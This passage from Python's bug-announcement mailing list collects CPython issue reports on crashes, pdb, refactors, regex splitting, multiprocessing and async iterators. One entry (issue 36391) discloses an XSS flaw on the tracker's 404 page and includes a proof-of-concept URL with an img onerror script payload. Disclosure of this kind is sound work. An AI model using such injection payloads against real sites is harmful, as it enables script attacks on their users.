to avoid multiple evaluting of the ifs.

----------
messages: 338519
nosy: eamanu
priority: normal
severity: normal
status: open
title: Add ``elif`` sentence on to avoid multiple ``if``
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36385>
_______________________________________

From report at bugs.python.org  Wed Mar 20 23:52:10 2019
From: report at bugs.python.org (anthony shaw)
Date: Thu, 21 Mar 2019 03:52:10 +0000
Subject: [New-bugs-announce] [issue36386] segfault on
 PyUnicode_DecodeFSDefaultAndSize for uninitialized Py
Message-ID: <1553140330.8.0.0322222584785.issue36386@roundup.psfhosted.org>


New submission from anthony shaw <anthony.p.shaw at gmail.com>:

If for whatever reason, Py_Initialize() has not been run or failed to run, any call to Py_CompileStringFlags will call PyUnicode_DecodeFSDefault and the reference to interp will be NULL.

There is currently no null reference check in PyUnicode_DecodeFSDefaultAndSize which causes a segfault.

https://github.com/python/cpython/blob/master/Objects/unicodeobject.c#L3736-L3737 is the offending line.

It might be better to catch the null pointer and raise an unrecoverable error there?

Error: signal 11:
0   ceval-prof                          0x00000001066310f3 handler + 35
1   libsystem_platform.dylib            0x00007fff6adddb3d _sigtramp + 29
2   ???                                 0x0000000000000000 0x0 + 0
3   ceval-prof                          0x0000000106734536 PyUnicode_DecodeFSDefault + 38
4   ceval-prof                          0x0000000106879514 Py_CompileStringExFlags + 36
5   ceval-prof                          0x0000000106631280 main + 320
6   libdyld.dylib                       0x00007fff6abf2ed9 start + 1

----------
components: Interpreter Core
messages: 338521
nosy: anthony shaw
priority: normal
severity: normal
status: open
title: segfault on PyUnicode_DecodeFSDefaultAndSize for uninitialized Py
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36386>
_______________________________________

From report at bugs.python.org  Thu Mar 21 02:32:57 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 21 Mar 2019 06:32:57 +0000
Subject: [New-bugs-announce] [issue36387] Refactor getenvironment() in
 _winapi.c
Message-ID: <1553149977.89.0.0620101720438.issue36387@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Function getenvironment() in Modules/_winapi.c is used for converting the environment mapping to the wchar_t string for passing to CreateProcessW(). It performs the following steps:

* Allocate a Py_UCS4 buffer and copy all keys and values, converting them to Py_UCS4.
* Create a PyUnicode object from the Py_UCS4 buffer.
* Create a wchar_t buffer from the PyUnicode object (unless it has the UCS2 kind).

The proposed PR makes it performing a single steps:

* Allocate a wchar_t buffer and copy all keys and values, converting them to wchar_t.

This needs less memory allocations and smaller memory consumption. In most cases this needs also less and faster memory scans and copies.

In addition, the PR replaces PySequence_Fast C API with faster PyList C API. In the past PyMapping_Keys() and PyMapping_Values() could return a tuple in unlikely case, but now they always return a list (see issue 28280).

The current code uses the legacy Unicode C API, while the new code uses the newer (added in 3.3) wchar_t based Unicode C API, so something similar to this change should be made sooner or later.

----------
components: Extension Modules
messages: 338527
nosy: lemburg, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Refactor getenvironment() in _winapi.c
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36387>
_______________________________________

From report at bugs.python.org  Thu Mar 21 04:28:00 2019
From: report at bugs.python.org (daniel hahler)
Date: Thu, 21 Mar 2019 08:28:00 +0000
Subject: [New-bugs-announce] [issue36388] pdb: do_debug installs
 sys.settrace handler when used inside post_mortem
Message-ID: <1553156880.66.0.415237926561.issue36388@roundup.psfhosted.org>


New submission from daniel hahler <python-bugs at thequod.de>:

It seems like the "debug" command is not properly handled with "post_mortem()".

It appears due to using `sys.settrace(self.trace_dispatch)` in the end of `do_debug`, although no tracing is installed with post_mortem in the first place.


More info:

Given the following test script:

```
def exc():
    raise Exception()


try:
    exc()
except Exception:
    import pdb
    pdb.post_mortem()
```

The behavior with just "quit" is fine:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) q
```

But when using `debug` inside of it, it will stop at `cmd.postcmd`, and you have to use "continue" twice:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) c
1
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) c
(Pdb) c
```

Also when using `quit` inside of the `debug`:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) q
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) c
(Pdb) c
```

When using `quit` when at `postcmd()` it will even raise `BdbQuit`:

```
% python3.8 t_pdb.py
> ?/project/t_pdb.py(2)exc()
-> raise Exception()
(Pdb) debug print(1)
ENTERING RECURSIVE DEBUGGER
> <string>(1)<module>()
((Pdb)) q
LEAVING RECURSIVE DEBUGGER
> ?/pyenv/3.8-dev/lib/python3.8/cmd.py(159)postcmd()
-> return stop
(Pdb) q
Traceback (most recent call last):
  File "t_pdb.py", line 6, in <module>
    exc()
  File "t_pdb.py", line 2, in exc
    raise Exception()
Exception

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "t_pdb.py", line 9, in <module>
    pdb.post_mortem()
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 1626, in post_mortem
    p.interaction(None, t)
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 352, in interaction
    self._cmdloop()
  File "?/pyenv/3.8-dev/lib/python3.8/pdb.py", line 321, in _cmdloop
    self.cmdloop()
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 139, in cmdloop
    stop = self.postcmd(stop, line)
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 159, in postcmd
    return stop
  File "?/pyenv/3.8-dev/lib/python3.8/cmd.py", line 159, in postcmd
    return stop
  File "?/pyenv/3.8-dev/lib/python3.8/bdb.py", line 88, in trace_dispatch
    return self.dispatch_line(frame)
  File "?/pyenv/3.8-dev/lib/python3.8/bdb.py", line 113, in dispatch_line
    if self.quitting: raise BdbQuit
bdb.BdbQuit
```

----------
components: Library (Lib)
messages: 338531
nosy: blueyed
priority: normal
severity: normal
status: open
title: pdb: do_debug installs sys.settrace handler when used inside post_mortem
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36388>
_______________________________________

From report at bugs.python.org  Thu Mar 21 07:02:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Mar 2019 11:02:41 +0000
Subject: [New-bugs-announce] [issue36389] Add gc.enable_object_debugger():
 detect corrupted Python objects in the GC
Message-ID: <1553166161.96.0.697085261419.issue36389@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

That's the follow-up of a thread that I started on python-dev in June 2018:

  [Python-Dev] Idea: reduce GC threshold in development mode (-X dev)
  https://mail.python.org/pipermail/python-dev/2018-June/153857.html

When an application crash during a garbage collection, we are usually clueless about the cause of the crash. The crash usually occur in visit_decref() on a corrupted Python object. Sadly, not only there are too many possible reasons which can explain why a Python object is corrupted, but the crash usually occur too late after the object is corrupted. Using a smaller GC threshold can help, but it's not enough.

It would help to be able to enable a builtin checker for corrupted objects. Something that we would triggered by the GC with a threshold specified by the user and that would have zero impact on performance when it's not used.

The implementation would be to iterate on objects and ensure that they are consistent.

Attached PR is an implementation of this idea. It uses new API that I wrote recently:

* _PyObject_ASSERT()
* _PyObject_IsFreed()
* _PyType_CheckConsistency()
* _PyUnicode_CheckConsistency()
* _PyDict_CheckConsistency()

If an inconsistency is detected, _PyObject_ASSERT() will call _PyObject_Dump() to dump info about the object. This function can crash, but well, anything can crash on a memory corruption...

----------
components: Interpreter Core
messages: 338536
nosy: pablogsal, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Add gc.enable_object_debugger(): detect corrupted Python objects in the GC
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36389>
_______________________________________

From report at bugs.python.org  Thu Mar 21 08:34:20 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Mar 2019 12:34:20 +0000
Subject: [New-bugs-announce] [issue36390] IDLE: Refactor formatting methods
 from editor
Message-ID: <1553171660.93.0.476861789874.issue36390@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In editor.py, there are several methods (indent, dedent, comment, uncomment, tabify, untabify) that are event handlers for formatting text.  To simplify testing and to simplify the EditorWindow class, refactor these methods into their own method.

This was motivated by issue36219, which is a request for another test formatting option.

----------
assignee: terry.reedy
components: IDLE
messages: 338537
nosy: cheryl.sabella, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE: Refactor formatting methods from editor
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36390>
_______________________________________

From report at bugs.python.org  Thu Mar 21 10:22:10 2019
From: report at bugs.python.org (Hanno Boeck)
Date: Thu, 21 Mar 2019 14:22:10 +0000
Subject: [New-bugs-announce] [issue36391] XSS in bugs.python.org 404 error
 page
Message-ID: <1553178130.9.0.715646132461.issue36391@roundup.psfhosted.org>


New submission from Hanno Boeck <hanno at hboeck.de>:

There's an XSS on the 404 error page:

https://bugs.python.org/%3Cimg%20src=x%20onerror=alert(1)%3E

(For lack of a webpage / bug tracker category I chose "Documentation" as the closest category I could find)

----------
assignee: docs at python
components: Documentation
messages: 338543
nosy: docs at python, hanno
priority: normal
severity: normal
status: open
title: XSS in bugs.python.org 404 error page
type: security

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36391>
_______________________________________

From report at bugs.python.org  Thu Mar 21 15:45:12 2019
From: report at bugs.python.org (Eddgar Rojas)
Date: Thu, 21 Mar 2019 19:45:12 +0000
Subject: [New-bugs-announce] [issue36392] IPv4Interface Object has no
 attributte prefixlen
Message-ID: <1553197512.13.0.766410741462.issue36392@roundup.psfhosted.org>


New submission from Eddgar Rojas <guabeff at gmail.com>:

The python the Class IPv4Interface  on the ipaddress module when I try to use the .prefixlen attribute it says that do not exist but is i have access by using ._prefixlen 

if i have on the IPv4Interface class the .netmask attribute and the .nethost attribute Why not the .prefixlen attribute?, 

I reported like a bug as i think that attribute should appear on the IPv4Interface Class

Below test I did 

>>> import ipaddress as ip
>>> addr = ip.ip_interface('192.168.1.1/24')
>>> addr.prefixlen
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'IPv4Interface' object has no attribute 'prefixlen'
>>> addr.netmask
IPv4Address('255.255.255.0')

>>> addr._prefixlen
24

----------
components: Library (Lib)
messages: 338566
nosy: Eddgar Rojas
priority: normal
severity: normal
status: open
title: IPv4Interface Object has no attributte prefixlen
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36392>
_______________________________________

From report at bugs.python.org  Thu Mar 21 18:59:11 2019
From: report at bugs.python.org (Hardik)
Date: Thu, 21 Mar 2019 22:59:11 +0000
Subject: [New-bugs-announce] [issue36393] python user define function is
 replacing variable value
Message-ID: <1553209151.69.0.362760019961.issue36393@roundup.psfhosted.org>


New submission from Hardik <hardik172 at gmail.com>:

I have created function "listappend():"with two arguments.Function can append list value with each function call and return updated value. I am trying to store this updated value into variable which I can but when I call listappend() to update it changes the stored variable value every time when I call a function.

You can see in below given example, list value is [10,20,30] and I have stored with value 40 in varible x.
so now x is [10,20,30,40]. I called function with new list value with [50] now it become [10,20,30,40,50]            
and the value of x is replaced with new value.  Even if you store x into a new variable and call listappend() again with new value then it will replace the value of new variable.  
 
>>> def listappend(a,list=[]):  
...     list.append(a)
...     return list
... 
>>> listappend(10) 
[10]
>>> listappend(20) 
[10, 20]
>>> listappend(30) 
[10, 20, 30]
>>> x = listappend(40) 
>>> print(x)
[10, 20, 30, 40]
>>> y = listappend(50) 
>>> print(y)
[10, 20, 30, 40, 50]
>>> z = listappend(60) 
>>> print(z)
[10, 20, 30, 40, 50, 60]
>>> print(x)                  
[10, 20, 30, 40, 50, 60]
>>> print(y)              
[10, 20, 30, 40, 50, 60]
>>> print(z)
[10, 20, 30, 40, 50, 60]
>>>

----------
components: macOS
files: logical Er
messages: 338568
nosy: HardikPatel, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: python user define function is replacing variable value
type: enhancement
versions: Python 3.7
Added file: https://bugs.python.org/file48227/logical Er

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36393>
_______________________________________

From report at bugs.python.org  Thu Mar 21 20:00:00 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Fri, 22 Mar 2019 00:00:00 +0000
Subject: [New-bugs-announce] [issue36394] test_multiprocessing_spawn fails
 on Windows7 3.x buildbot
Message-ID: <1553212800.6.0.577626809439.issue36394@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

https://buildbot.python.org/all/#/builders/58/builds/2098/steps/3/logs/stdio

Process Process-2:
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\process.py", line 302, in _bootstrap
    self.run()
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\multiprocessing\process.py", line 99, in run
    self._target(*self._args, **self._kwargs)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 4585, in child
    join_process(p)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 88, in join_process
    support.join_thread(process, timeout=TIMEOUT)
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\support\__init__.py", line 2244, in join_thread
    raise AssertionError(msg)
AssertionError: failed to join the thread in 30.0 seconds
Timeout (0:15:00)!


======================================================================
FAIL: test_abort (test.test_multiprocessing_spawn.WithManagerTestBarrier)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\_test_multiprocessing.py", line 1765, in test_abort
    self.assertEqual(len(results2), self.N-1)
AssertionError: 5 != 4
----------------------------------------------------------------------
Ran 344 tests in 717.841s
FAILED (failures=1, skipped=40)
1 test failed again:
    test_multiprocessing_spawn
== Tests result: FAILURE then FAILURE ==
388 tests OK.

Looks like a race condition, new builds are OK.

----------
components: Tests, Windows
messages: 338573
nosy: pablogsal, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: test_multiprocessing_spawn fails on Windows7 3.x buildbot
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36394>
_______________________________________

From report at bugs.python.org  Thu Mar 21 21:39:20 2019
From: report at bugs.python.org (Brian McCutchon)
Date: Fri, 22 Mar 2019 01:39:20 +0000
Subject: [New-bugs-announce] [issue36395] Add deferred single-threaded/fake
 executor to concurrent.futures
Message-ID: <1553218760.85.0.609828298764.issue36395@roundup.psfhosted.org>


New submission from Brian McCutchon <bmccutchon at google.com>:

Currently, it is possible to make a basic single-threaded executor for unit testing:

class FakeExecutor(futures.Executor):

  def submit(self, f, *args, **kwargs):
    future = futures.Future()
    future.set_result(f(*args, **kwargs))
    return future

  def shutdown(self, wait=True):
    pass

However, this evaluates the provided function eagerly, which may be undesirable for tests. It prevents the tests from catching a whole class of errors (those where the caller forgot to call .result() on a future that is only desirable for its side-effects). It would be great to have an Executor implementation where the function is only called when .result() is called so tests can catch those errors.

I might add that, while future.set_result is documented as being supported for unit tests, a comment in the CPython source says that Future.__init__() "Should not be called by clients" (https://github.com/python/cpython/blob/master/Lib/concurrent/futures/_base.py#L317), suggesting that even the above code is unsupported and leaving me wondering how I should test future-heavy code without using mock.patch on everything.

------ Alternatives that don't work ------

One might think it possible to create a FakeFuture to do this:

class FakeFuture(object):

  def __init__(self, to_invoke):
    self._to_invoke = to_invoke

  def result(self, timeout=None):
    return self._to_invoke()

However, futures.wait is not happy with this:

futures.wait([FakeFuture(lambda x: 1)])  # AttributeError: 'FakeFuture' object has no attribute '_condition'

If FakeFuture is made to extend futures.Future, the above line instead hangs:

class FakeFuture(futures.Future):

  def __init__(self, to_invoke):
    super(FakeFuture, self).__init__()
    self._to_invoke = to_invoke

  def result(self, timeout=None):
    return self._to_invoke()

I feel like I shouldn't have to patch out wait() in order to get good unit tests.

----------
messages: 338576
nosy: Brian McCutchon
priority: normal
severity: normal
status: open
title: Add deferred single-threaded/fake executor to concurrent.futures
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36395>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:39:03 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 02:39:03 +0000
Subject: [New-bugs-announce] [issue36396] Remove fgBg param of
 idlelib.config.GetHighlight()
Message-ID: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

The fgBg param of idlelib.config.GetHighlight() is used in only one idlelib call.  Two other places could use it, but instead subscript the returned dict.  Remove the parameter, make the function always return a dict and not a color, and have the one fgBg call use a subscript.

----------
assignee: terry.reedy
components: IDLE
messages: 338580
nosy: terry.reedy
priority: normal
severity: normal
stage: commit review
status: open
title: Remove fgBg param of idlelib.config.GetHighlight()
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Thu Mar 21 22:48:42 2019
From: report at bugs.python.org (Elias Tarhini)
Date: Fri, 22 Mar 2019 02:48:42 +0000
Subject: [New-bugs-announce] [issue36397] re.split() incorrectly splitting
 on zero-width pattern
Message-ID: <1553222922.33.0.727048855468.issue36397@roundup.psfhosted.org>


New submission from Elias Tarhini <eltrhn at gmail.com>:

I believe I've found a bug in the `re` module -- specifically, in the 3.7+ support for splitting on zero-width patterns. Compare Java's behavior...

    jshell> "1211".split("(?<=(\\d))(?!\\1)(?=\\d)");
    $1 ==> String[3] { "1", "2", "11" }

...with Python's:

    >>> re.split(r'(?<=(\d))(?!\1)(?=\d)', '1211')
    ['1', '1', '2', '2', '11']

(The pattern itself is pretty straightforward in design, but regex syntax can cloud things, so to be totally clear: it finds any point that follows a digit and precedes a *different* digit.)

* Tested on 3.7.1 win10 and 3.7.0 linux.

----------
components: Regular Expressions
messages: 338581
nosy: Elias Tarhini, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: re.split() incorrectly splitting on zero-width pattern
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36397>
_______________________________________

From report at bugs.python.org  Fri Mar 22 00:18:26 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Fri, 22 Mar 2019 04:18:26 +0000
Subject: [New-bugs-announce] [issue36398] A possible crash in structseq.c's
 structseq_repr()
Message-ID: <1553228306.11.0.338923675636.issue36398@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

If the first PyUnicode_DecodeUTF8() call fails in structseq_repr(), _PyUnicodeWriter_Dealloc() will be called on an uninitialized _PyUnicodeWriter.

----------
components: Interpreter Core
messages: 338584
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible crash in structseq.c's structseq_repr()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36398>
_______________________________________

From report at bugs.python.org  Fri Mar 22 04:51:16 2019
From: report at bugs.python.org (=?utf-8?q?Bernt_R=C3=B8skar_Brenna?=)
Date: Fri, 22 Mar 2019 08:51:16 +0000
Subject: [New-bugs-announce] [issue36399] multiprocessing: Queue does not
 work in virtualenv but works fine in main interpreter
Message-ID: <1553244676.03.0.445058802364.issue36399@roundup.psfhosted.org>


New submission from Bernt R?skar Brenna <bernt.brenna at gmail.com>:

When executing mp_queue_example.py in the system interpreter:

D:\dev\eva_v_next>d:\python372\python.exe mp_queue_example.py
main, pid=892, executable=d:\python372\python.exe
process_worker, pid=12848, executable=d:\python372\python.exe
submitting...
submitting 0
submitting 1
submitting 2
Executing job 0
Executing job 1
Executing job 2

When executing mp_queue_example.py in a virtualenv:

D:\dev\eva_v_next>VENV\Scripts\python.exe mp_queue_example.py
main, pid=25888, executable=D:\dev\eva_v_next\VENV\Scripts\python.exe
process_worker, pid=28144, executable=D:\dev\eva_v_next\VENV\Scripts\python.exe
submitting...
submitting 0
submitting 1
submitting 2

## Here it hangs, Ctrl-C gives this:

Process Process-1:
Traceback (most recent call last):
  File "D:\dev\eva_v_next\mp_queue_example.py", line 13, in process_worker
    inp = input_q.get_nowait()
  File "D:\python372\lib\multiprocessing\queues.py", line 126, in get_nowait
    return self.get(False)
  File "D:\python372\lib\multiprocessing\queues.py", line 100, in get
    raise Empty
_queue.Empty

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "D:\python372\lib\multiprocessing\process.py", line 297, in _bootstrap
    self.run()
  File "D:\python372\lib\multiprocessing\process.py", line 99, in run
    self._target(*self._args, **self._kwargs)
  File "D:\dev\eva_v_next\mp_queue_example.py", line 13, in process_worker
    inp = input_q.get_nowait()
KeyboardInterrupt
Traceback (most recent call last):
  File "mp_queue_example.py", line 43, in <module>
    main_process_experiment()
  File "mp_queue_example.py", line 39, in main_process_experiment
    p.join()
  File "D:\python372\lib\multiprocessing\process.py", line 140, in join
    res = self._popen.wait(timeout)
  File "D:\python372\lib\multiprocessing\popen_spawn_win32.py", line 80, in wait
    res = _winapi.WaitForSingleObject(int(self._handle), msecs)
KeyboardInterrupt


---

mp_queue_example.py:

import multiprocessing as mp
from queue import Empty
import os
import sys
import time


def process_worker(input_q: mp.Queue):
    print(f'process_worker, pid={os.getpid()}, executable={sys.executable}')
    while True:
        try:
            inp = input_q.get_nowait()
            if inp == 'STOP':
                break
            execute_job(inp)
        except Empty:
            pass


def execute_job(input_args):
    print(f'Executing job {input_args}')


def main_process_experiment():
    print(f"main, pid={os.getpid()}, executable={sys.executable}")
    input_q = mp.Queue()

    p = mp.Process(target=process_worker, args=(input_q, ))
    p.start()
    time.sleep(0.5)

    print('submitting...')
    for i in range(3):
        print(f'submitting {i}')
        input_q.put(i)
    input_q.put('STOP')

    p.join()


if __name__ == '__main__':
    main_process_experiment()

----------
components: Library (Lib)
files: mp_queue_example.py
messages: 338591
nosy: Bernt.R?skar.Brenna
priority: normal
severity: normal
status: open
title: multiprocessing: Queue does not work in virtualenv but works fine in main interpreter
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48228/mp_queue_example.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36399>
_______________________________________

From report at bugs.python.org  Fri Mar 22 09:38:37 2019
From: report at bugs.python.org (Ivan Marin)
Date: Fri, 22 Mar 2019 13:38:37 +0000
Subject: [New-bugs-announce] [issue36400] Add activate script to venv root
 folder
Message-ID: <1553261917.49.0.71495104165.issue36400@roundup.psfhosted.org>


New submission from Ivan Marin <imarin at daitangroup.com.br>:

Instead of keeping the activate script of a virtualenv created with venv on the bin folder, move the file or create a link to the root folder of the venv file. Even better if there?s a way to make it easier to make shell autocomplete faster.

The rationale is that every time a virtualenv has to be activated, the path to the virtualenv has to be typed plus the bin folder and the activate script name. Having on the root folder of the virtualenv saves a few keystrokes, that compound to a lot of work when one is activating venvs all day.

----------
components: Library (Lib)
messages: 338604
nosy: Ivan Marin
priority: normal
severity: normal
status: open
title: Add activate script to venv root folder
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36400>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:17:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 23:17:42 +0000
Subject: [New-bugs-announce] [issue36401] Readonly properties should be
 marked as such in help()
Message-ID: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

It is common to create read-only properties with the '@property' decoration but the existing help() output doesn't annotate them as such.

One way to go is to annotate each one separately:

 |  ----------------------------------------------------------------------
 |  Data descriptors inherited from _IPAddressBase:
 |  
 |  compressed (read-only property)             <== NEW ANNOTATION
 |      Return the shorthand version of the IP address as a string.
 |  
 |  exploded (read-only property)               <== NEW ANNOTATION
 |      Return the longhand version of the IP address as a string.
 |  
 |  reverse_pointer (read-only property)        <== NEW ANNOTATION
 |      The name of the reverse DNS pointer for the IP address, e.g.:
 |      >>> ipaddress.ip_address("127.0.0.1").reverse_pointer
 |      '1.0.0.127.in-addr.arpa'
 |      >>> ipaddress.ip_address("2001:db8::1").reverse_pointer
 |      '1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa'


Another way to go is to break the data descriptor section into two sections --- isolate those that define __set__ or __delete__ from those that don't.

For example, given this code:

    class A:
        'Variety of descriptors and method'

        __slots__ = '_w', '_x'

        def __init__(self, w: int, x: str):
            'initializer'
            self.w = w
            self.x = x

        @classmethod
        def cm(cls, u):
            'do something with u'
            return cls(u * 4)

        @staticmethod
        def sm(v):
            'do something with v'
            return v * 3

        @property
        def rop(self):
            'computed field'
            return self._w * 2

        @property
        def wandr(self):
            'managed attribute'
            return self._w

        @wandr.setter
        def wandr(self, w):
            self._w = w


Produce this help output:

Help on class A in module __main__:

    class A(builtins.object)
     |  A(w: int, x: str)
     |  
     |  Variety of descriptors and method
     |  
     |  Methods defined here:
     |  
     |  __init__(self, w: int, x: str)
     |      initializer
     |  
     |  ----------------------------------------------------------------------
     |  Class methods defined here:
     |  
     |  cm(u) from builtins.type
     |      do something with u
     |  
     |  ----------------------------------------------------------------------
     |  Static methods defined here:
     |  
     |  sm(v)
     |      do something with v
     |  
     |  ----------------------------------------------------------------------
     |  Read-only descriptors defined here:        <== NEW HEADING
     |  
     |  rop
     |      computed field
     |  
     |  ----------------------------------------------------------------------
     |  Mutable data descriptors defined here:     <== NEW HEADING AND SECTION    
     |  
     |  wandr
     |      managed attribute

----------
components: Library (Lib)
messages: 338621
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Readonly properties should be marked as such in help()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:18:24 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Mar 2019 23:18:24 +0000
Subject: [New-bugs-announce] [issue36402] test_threading:
 test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter:
 not the last thread" on AMD64 FreeBSD CURRENT Shared 3.x
Message-ID: <1553296704.08.0.921014854557.issue36402@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/168/builds/801

0:23:17 load avg: 5.00 [334/420/1] test_threading crashed (Exit code -6) -- running: test_tools (8 min 42 sec), test_multiprocessing_spawn (5 min 41 sec), test_zipfile (30 sec 787 ms)
Fatal Python error: Py_EndInterpreter: not the last thread

Current thread 0x0000000800acd000 (most recent call first):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/support/__init__.py", line 2778 in run_in_subinterp
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_threading.py", line 917 in test_threads_join_2
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/unittest/case.py", line 642 in run
  ...

The test crashed once, but then passed when run again in verbose mode ("Re-running test 'test_threading' in verbose mode").

----------
components: Tests
messages: 338622
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread" on AMD64 FreeBSD CURRENT Shared 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36402>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:15:07 2019
From: report at bugs.python.org (Ask Solem)
Date: Sat, 23 Mar 2019 00:15:07 +0000
Subject: [New-bugs-announce] [issue36403] AsyncIterator on 3.7: __aiter__ no
 longer honors finally blocks
Message-ID: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>


New submission from Ask Solem <ask at celeryproject.org>:

We use finally blocks in ``__aiter__`` like this:

```
class AsyncFinallyIterator:

   def __aiter__(self):
       for i in range(10):
           try:
               yield i
           finally:
               print('FINALLY')
```

Attached is a test for both iterators and async iterators.
The tests pass on Python 3.6, but only the non-async iterator test pass under Python 3.7.

Thanks for your attention!


This worked perfectly well in Python 3.6, but stopped working in Python 3.7.

I also verified that Iterator supports the same construct (and this works in both Python 3.6 and 3.7):

```

class FinallyIterator:

    def __iter__(self):
        for i in range(10):
            try:
                yield i
            finally:
                print('FINALLY')
```

----------
files: test_iterators_and_finally_blocks.py
keywords: 3.7regression
messages: 338630
nosy: asksol
priority: normal
severity: normal
status: open
title: AsyncIterator on 3.7: __aiter__ no longer honors finally blocks
versions: Python 3.7
Added file: https://bugs.python.org/file48229/test_iterators_and_finally_blocks.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:05:05 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 02:05:05 +0000
